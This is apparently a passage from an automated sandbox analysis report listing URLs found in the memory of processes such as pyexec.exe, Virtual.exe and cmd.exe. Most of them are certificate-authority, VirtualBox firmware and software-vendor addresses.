                    Source: pyexec.exe, 00000004.00000002.1900009727.0000000003380000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000006.00000002.2004201753.0000000003386000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000002.2098552982.0000000002F67000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000F.00000002.2277147084.0000000003B01000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2419542755.0000000004BB5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0:
                    Source: pyexec.exe, 00000004.00000002.1900009727.0000000003380000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000006.00000002.2004201753.0000000003386000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000002.2098552982.0000000002F67000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000F.00000002.2277147084.0000000003B01000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2419542755.0000000004BB5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
                    Source: pyexec.exe, 00000004.00000002.1900009727.0000000003380000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000006.00000002.2004201753.0000000003386000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000002.2098552982.0000000002F67000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000F.00000002.2277147084.0000000003B01000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2419542755.0000000004BB5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/assured-cs-g1.crl00
                    Source: pyexec.exe, 00000004.00000002.1900009727.0000000003380000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000006.00000002.2004201753.0000000003386000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000002.2098552982.0000000002F67000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000F.00000002.2277147084.0000000003B01000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2419542755.0000000004BB5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
                    Source: pyexec.exe, 00000004.00000002.1900009727.0000000003380000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000006.00000002.2004201753.0000000003386000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000002.2098552982.0000000002F67000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000F.00000002.2277147084.0000000003B01000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2419542755.0000000004BB5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDCA-1.crl0w
                    Source: pyexec.exe, 00000004.00000002.1900009727.0000000003380000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000006.00000002.2004201753.0000000003386000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000002.2098552982.0000000002F67000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000F.00000002.2277147084.0000000003B01000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2419542755.0000000004BB5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0
                    Source: pyexec.exe, 00000004.00000002.1900009727.0000000003380000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000006.00000002.2004201753.0000000003386000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000002.2098552982.0000000002F67000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000F.00000002.2277147084.0000000003B01000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2419542755.0000000004BB5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
                    Source: pyexec.exe, 00000004.00000002.1900009727.0000000003380000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000006.00000002.2004201753.0000000003386000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000002.2098552982.0000000002F67000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000F.00000002.2277147084.0000000003B01000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2419542755.0000000004BB5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/assured-cs-g1.crl0L
                    Source: pyexec.exe, 00000004.00000002.1900009727.0000000003380000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000006.00000002.2004201753.0000000003386000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000002.2098552982.0000000002F67000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000F.00000002.2277147084.0000000003B01000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2419542755.0000000004BB5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
                    Source: pyexec.exe, 00000004.00000002.1897982762.0000000000595000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
                    Source: pyexec.exe, 00000004.00000002.1897982762.0000000000595000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
                    Source: Virtual.exe, 0000000D.00000002.2128921195.00007FFDFB8E5000.00000002.00000001.01000000.00000015.sdmp, Virtual.exe, 0000000F.00000002.2279343631.00007FFDFB085000.00000002.00000001.01000000.0000001D.sdmpString found in binary or memory: http://curl.haxx.se/rfc/cookie_spec.html
                    Source: svchost.exe, 0000000E.00000003.2060663071.000001B41F618000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
                    Source: svchost.exe, 0000000E.00000003.2060663071.000001B41F618000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
                    Source: svchost.exe, 0000000E.00000003.2060663071.000001B41F618000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
                    Source: svchost.exe, 0000000E.00000003.2060663071.000001B41F618000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
                    Source: svchost.exe, 0000000E.00000003.2060663071.000001B41F618000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
                    Source: svchost.exe, 0000000E.00000003.2060663071.000001B41F618000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
                    Source: svchost.exe, 0000000E.00000003.2060663071.000001B41F64D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
                    Source: svchost.exe, 0000000E.00000003.2060663071.000001B41F707000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
                    Source: powershell.exe, 00000001.00000002.1961025380.00000000053A8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://nuget.org/NuGet.exe
                    Source: pyexec.exe, 00000004.00000002.1897982762.0000000000595000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.comodoca.com0
                    Source: pyexec.exe, 00000004.00000002.1900009727.0000000003380000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000006.00000002.2004201753.0000000003386000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000002.2098552982.0000000002F67000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000F.00000002.2277147084.0000000003B01000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2419542755.0000000004BB5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0A
                    Source: pyexec.exe, 00000004.00000002.1900009727.0000000003380000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000006.00000002.2004201753.0000000003386000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000002.2098552982.0000000002F67000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000F.00000002.2277147084.0000000003B01000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2419542755.0000000004BB5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0C
                    Source: pyexec.exe, 00000004.00000002.1900009727.0000000003380000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000006.00000002.2004201753.0000000003386000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000002.2098552982.0000000002F67000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000F.00000002.2277147084.0000000003B01000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2419542755.0000000004BB5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0L
                    Source: pyexec.exe, 00000004.00000002.1900009727.0000000003380000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000006.00000002.2004201753.0000000003386000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000002.2098552982.0000000002F67000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000F.00000002.2277147084.0000000003B01000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2419542755.0000000004BB5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0O
                    Source: cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
                    Source: cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ocsp.globalsign.com/codesigningrootr450F
                    Source: cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ocsp.globalsign.com/gsgccr45evcodesignca20200U
                    Source: pyexec.exe, 00000004.00000002.1897982762.0000000000595000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.sectigo.com0
                    Source: second.exe, 0000000C.00000003.1968874501.000001DE278F5000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000003.2094292995.00000000008AB000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000003.2095424142.0000000002E33000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.thawte.com0
                    Source: cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ocsp2.globalsign.com/rootr606
                    Source: powershell.exe, 00000001.00000002.1961025380.0000000004499000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://pesterbdd.com/images/Pester.png
                    Source: pyexec.exe, 00000006.00000002.2039080915.0000000066B1A000.00000002.00000001.01000000.00000011.sdmpString found in binary or memory: http://python.org/dev/peps/pep-0263/
                    Source: Virtual.exe, 0000000F.00000002.2279343631.00007FFDFB085000.00000002.00000001.01000000.0000001D.sdmpString found in binary or memory: http://relaxng.org/ns/structure/1.0
                    Source: Virtual.exe, 0000000D.00000002.2128921195.00007FFDFB8E5000.00000002.00000001.01000000.00000015.sdmp, Virtual.exe, 0000000F.00000002.2279343631.00007FFDFB085000.00000002.00000001.01000000.0000001D.sdmpString found in binary or memory: http://relaxng.org/ns/structure/1.0allocating
                    Source: pyexec.exe, 00000004.00000002.1897982762.0000000000595000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://s.symcb.com/universal-root.crl0
                    Source: pyexec.exe, 00000004.00000002.1897982762.0000000000595000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://s.symcd.com06
                    Source: pyexec.exe, 00000004.00000002.1900009727.0000000003380000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000006.00000002.2004201753.0000000003386000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000002.2098552982.0000000002F67000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000F.00000002.2277147084.0000000003B01000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2419542755.0000000004BB5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
                    Source: pyexec.exe, 00000004.00000002.1900009727.0000000003380000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000006.00000002.2004201753.0000000003386000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000002.2098552982.0000000002F67000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000F.00000002.2277147084.0000000003B01000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2419542755.0000000004BB5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://s2.symcb.com0
                    Source: powershell.exe, 00000001.00000002.1961025380.0000000004341000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
                    Source: cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://secure.globalsign.com/cacert/codesigningrootr45.crt0A
                    Source: cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://secure.globalsign.com/cacert/gsgccr45evcodesignca2020.crt0?
                    Source: cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
                    Source: pyexec.exe, 00000004.00000002.1900009727.0000000003380000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000006.00000002.2004201753.0000000003386000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000002.2098552982.0000000002F67000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000F.00000002.2277147084.0000000003B01000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2419542755.0000000004BB5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://sv.symcb.com/sv.crl0a
                    Source: pyexec.exe, 00000004.00000002.1900009727.0000000003380000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000006.00000002.2004201753.0000000003386000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000002.2098552982.0000000002F67000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000F.00000002.2277147084.0000000003B01000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2419542755.0000000004BB5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://sv.symcb.com/sv.crt0
                    Source: pyexec.exe, 00000004.00000002.1900009727.0000000003380000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000006.00000002.2004201753.0000000003386000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000002.2098552982.0000000002F67000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000F.00000002.2277147084.0000000003B01000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2419542755.0000000004BB5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://sv.symcd.com0&
                    Source: pyexec.exe, 00000004.00000002.1897982762.0000000000595000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ts-aia.ws.symantec.com/sha256-tss-ca.cer0(
                    Source: second.exe, 0000000C.00000003.1968874501.000001DE278F5000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000003.2094292995.00000000008AB000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000003.2095424142.0000000002E33000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
                    Source: pyexec.exe, 00000004.00000002.1897982762.0000000000595000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ts-crl.ws.symantec.com/sha256-tss-ca.crl0
                    Source: second.exe, 0000000C.00000003.1968874501.000001DE278F5000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000003.2094292995.00000000008AB000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000003.2095424142.0000000002E33000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
                    Source: second.exe, 0000000C.00000003.1968874501.000001DE278F5000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000003.2094292995.00000000008AB000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000003.2095424142.0000000002E33000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ts-ocsp.ws.symantec.com07
                    Source: pyexec.exe, 00000004.00000002.1897982762.0000000000595000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ts-ocsp.ws.symantec.com0;
                    Source: second.exe, 0000000C.00000003.1968874501.000001DE27593000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000000.1973091663.00007FF724847000.00000002.00000001.01000000.00000013.sdmp, Virtual.exe, 0000000D.00000002.2120147353.00007FF724847000.00000002.00000001.01000000.00000013.sdmp, Virtual.exe, 0000000F.00000002.2278993014.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmp, Virtual.exe, 0000000F.00000000.2097426759.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmpString found in binary or memory: http://virtualbox.org/firmware/VBoxEFI32.fd
                    Source: second.exe, 0000000C.00000003.1968874501.000001DE27593000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000000.1973091663.00007FF724847000.00000002.00000001.01000000.00000013.sdmp, Virtual.exe, 0000000D.00000002.2120147353.00007FF724847000.00000002.00000001.01000000.00000013.sdmp, Virtual.exe, 0000000F.00000002.2278993014.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmp, Virtual.exe, 0000000F.00000000.2097426759.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmpString found in binary or memory: http://virtualbox.org/firmware/VBoxEFI32.fdVBoxEFI64.fdhttp://virtualbox.org/firmware/VBoxEFI64.fdVB
                    Source: second.exe, 0000000C.00000003.1968874501.000001DE27593000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000000.1973091663.00007FF724847000.00000002.00000001.01000000.00000013.sdmp, Virtual.exe, 0000000D.00000002.2120147353.00007FF724847000.00000002.00000001.01000000.00000013.sdmp, Virtual.exe, 0000000F.00000002.2278993014.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmp, Virtual.exe, 0000000F.00000000.2097426759.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmpString found in binary or memory: http://virtualbox.org/firmware/VBoxEFI64.fd
                    Source: second.exe, 0000000C.00000003.1968874501.000001DE27593000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000000.1973091663.00007FF724847000.00000002.00000001.01000000.00000013.sdmp, Virtual.exe, 0000000D.00000002.2120147353.00007FF724847000.00000002.00000001.01000000.00000013.sdmp, Virtual.exe, 0000000F.00000002.2278993014.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmp, Virtual.exe, 0000000F.00000000.2097426759.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmpString found in binary or memory: http://virtualbox.org/firmware/VBoxEFIDual.fd
                    Source: pyexec.exe, 00000004.00000002.1900009727.0000000003380000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000006.00000002.2004201753.0000000003386000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.???.xx/?search=%s
                    Source: powershell.exe, 00000001.00000002.1961025380.0000000004499000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
                    Source: pyexec.exe, 00000004.00000002.1900009727.0000000003380000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000006.00000002.2004201753.0000000003386000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000002.2098552982.0000000002F67000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000F.00000002.2277147084.0000000003B01000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2419542755.0000000004BB5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
                    Source: pyexec.exe, 00000004.00000002.1900009727.000000000332A000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000006.00000002.2004201753.0000000003330000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000A.00000002.2318677215.0000000004E54000.00000004.00000800.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000002.2098552982.0000000002F11000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000F.00000002.2277147084.0000000003AAB000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2419542755.0000000004B6D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.info-zip.org/
                    Source: Virtual.exe, 0000000F.00000000.2097426759.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmpString found in binary or memory: http://www.innotek.de/VirtualBox-settings
                    Source: Virtual.exe, 0000000D.00000002.2128921195.00007FFDFB8E5000.00000002.00000001.01000000.00000015.sdmp, Virtual.exe, 0000000F.00000002.2279343631.00007FFDFB085000.00000002.00000001.01000000.0000001D.sdmpString found in binary or memory: http://www.oasis-open.org/committees/entity/release/1.0/catalog.dtd
                    Source: Virtual.exe, 0000000D.00000002.2128921195.00007FFDFB8E5000.00000002.00000001.01000000.00000015.sdmp, Virtual.exe, 0000000F.00000002.2279343631.00007FFDFB085000.00000002.00000001.01000000.0000001D.sdmpString found in binary or memory: http://www.openssl.org/support/faq.html
                    Source: Virtual.exe, 0000000D.00000002.2128921195.00007FFDFB8E5000.00000002.00000001.01000000.00000015.sdmp, Virtual.exe, 0000000F.00000002.2279343631.00007FFDFB085000.00000002.00000001.01000000.0000001D.sdmpString found in binary or memory: http://www.openssl.org/support/faq.html....................D:
                    Source: pyexec.exe, 00000004.00000002.1900009727.0000000003380000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000006.00000002.2004201753.0000000003386000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.softwareok.com
                    Source: cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.softwareok.com/?Download=Find.Same.Images.OK
                    Source: cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.softwareok.com/?Freeware/Find.Same.Images.OK
                    Source: cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.softwareok.com/?Freeware/Find.Same.Images.OK/History
                    Source: cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.softwareok.com/?seite=faq-Find.Same.Images.OK&faq=0
                    Source: pyexec.exe, 00000004.00000002.1900009727.0000000003380000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000006.00000002.2004201753.0000000003386000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.softwareok.de
                    Source: cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.softwareok.de/?Download=Find.Same.Images.OK
                    Source: cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.softwareok.de/?Freeware/Find.Same.Images.OK
                    Source: cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.softwareok.de/?Freeware/Find.Same.Images.OK/History
                    Source: cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.softwareok.de/?seite=faq-Find.Same.Images.OK&faq=0
                    Source: cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.surfok.de/
                    Source: pyexec.exe, 00000004.00000002.1900009727.0000000003380000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000006.00000002.2004201753.0000000003386000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000002.2098552982.0000000002F67000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000F.00000002.2277147084.0000000003B01000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2419542755.0000000004BB5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.symauth.com/cps0(
                    Source: pyexec.exe, 00000004.00000002.1900009727.0000000003380000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000006.00000002.2004201753.0000000003386000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000002.2098552982.0000000002F67000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000F.00000002.2277147084.0000000003B01000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2419542755.0000000004BB5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.symauth.com/rpa00
